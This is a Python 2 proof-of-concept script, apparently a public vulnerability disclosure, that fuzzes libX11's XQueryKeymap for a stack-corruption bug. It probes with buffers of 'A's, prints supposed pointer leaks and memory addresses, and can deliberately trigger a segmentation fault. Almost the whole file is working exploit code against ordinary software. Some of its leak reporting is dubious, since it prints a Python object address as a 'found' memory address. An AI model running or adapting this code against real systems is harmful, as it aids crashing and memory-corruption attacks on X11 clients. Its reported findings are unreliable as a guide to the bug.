x11-stack-corruption.py 3.7 KB

1234567891011121314151617181920212223242526272829303132333435363738394041424344454647484950515253545556575859606162636465666768697071727374757677787980818283848586878889909192939495
  1. #!/usr/bin/python
  2. #
  3. # X11 (XQueryKeymap) Stack corruption (Possible Access violation) (Fuzzer)
  4. #
  5. # Vulnerable (tested) library: libx11-6 / Version: 2:1.6.4-3
  6. # Debian package: libx11-6_1.6.4-3_amd64.deb (8ad41adbd147ffe4bf64c50efcac497b)
  7. # Tested at: Intel/x86_64 - Debian 4.9.25-1 (stretch)
  8. #
  9. # 0day: 03/06/2017 - by psy (epsylon@riseup.net)
  10. #
  11. import sys
  12. from ctypes import cast
  13. import ctypes as ct
  14. from ctypes.util import find_library
  15. x11 = ct.cdll.LoadLibrary(find_library("X11"))
  16. print ""
  17. print "#################################################################################"
  18. print "# X11/libX11.so.6 (XQueryKeymap) Stack corruption/Access violation <-> Fuzzer #"
  19. print "#------------------------------------------------------------------------------##"
  20. print "# Vulnerable (tested) library: libx11-6 / Version: 2:1.6.4-3 #"
  21. print "# Debian package: libx11-6_1.6.4-3_amd64.deb (8ad41adbd147ffe4bf64c50efcac497b) #"
  22. print "# Tested at: Intel/x86_64 - Debian 4.9.25-1 (stretch) #"
  23. print "#------------------------------------------------------------------------------##"
  24. print "# 0day: 03/06/2017 - by psy (epsylon@riseup.net) #"
  25. print "#################################################################################"
  26. print "\n-X11:", x11
  27. display = x11.XOpenDisplay(None)
  28. print "-Display:", display
  29. num = raw_input("\n[?] Enter fuzzing factor (ex: 256): ")
  30. if num == "":
  31. num = 256
  32. try:
  33. num = int(num)
  34. except:
  35. print "\n[Error] Not a valid fuzzing factor. Aborting...\n"
  36. sys.exit(2)
  37. dumped_map = []
  38. address_list = []
  39. print "\n[+] Fuzzing until: " + str(num) + "\n"
  40. for i in range(num+1):
  41. keyboard = (ct.c_char * i)()
  42. keyboard.value = "A" * i
  43. keyboard_ptr = cast(keyboard, ct.c_char_p)
  44. if keyboard.value is not keyboard_ptr.value:
  45. print "Num chars:", str(i), "\n"
  46. print " - Buffer:", keyboard.raw
  47. print " - PTR cast:", keyboard_ptr.value
  48. print " - Keyboard Map:", keyboard_ptr.value.split(keyboard.value)
  49. print " - PTR LEAK:", keyboard_ptr.value.split(keyboard.value)[1]
  50. ptr_leak = keyboard_ptr.value.split(keyboard.value)[1]
  51. import struct
  52. try:
  53. le = (struct.unpack('<I', struct.pack('=I', 1))[0] == 1)
  54. if le == True:
  55. h = struct.unpack("<I", ptr_leak) # little endian
  56. print "\n [!] struct.unpack PTR [little endian] is:", h
  57. else:
  58. h = struct.unpack(">I", ptr_leak) # big endian
  59. print "\n [!] struct.unpack PTR [big endian] is:", h
  60. a = hex(id(h))
  61. print " [!] Memory address FOUND! -----> ", a, "\n"
  62. if a not in address_list:
  63. address_list.append(a)
  64. except:
  65. pass
  66. dumped_map.append(str(i)+"="+str(keyboard_ptr.value.split(keyboard.value)[1]))
  67. print "----"
  68. skip = raw_input("\n[?] Wanna skip map resume? (Y/n): ")
  69. if not skip:
  70. skip = "y"
  71. if skip is not "y":
  72. print "\n[+] Dumping map:\n\n", dumped_map
  73. try:
  74. f = open('dumped_map.out', 'w')
  75. for d in dumped_map:
  76. f.write(str(dumped_map))
  77. f.close()
  78. print "\n[!] Saved at file: dumped_map.out"
  79. except:
  80. pass
  81. print "\n-XQueryKeyMap:", x11.XQueryKeymap
  82. if address_list:
  83. print "\n[!] Memory addresses found:\n"
  84. for a in address_list:
  85. print " -", a
  86. sf = raw_input("\n[?] Wanna try to generate a segmentation fault (core dumped) -> THIS WILL STOP THIS TOOL? (N/y): ")
  87. if not sf:
  88. sf = "n"
  89. if sf is not "n":
  90. print "\n[!] Calling to function: x11.XQueryKeymap\n"
  91. keyboard = (ct.c_char * num)()
  92. x11.XQueryKeymap(display, keyboard)
  93. else:
  94. print "\nBye!\n"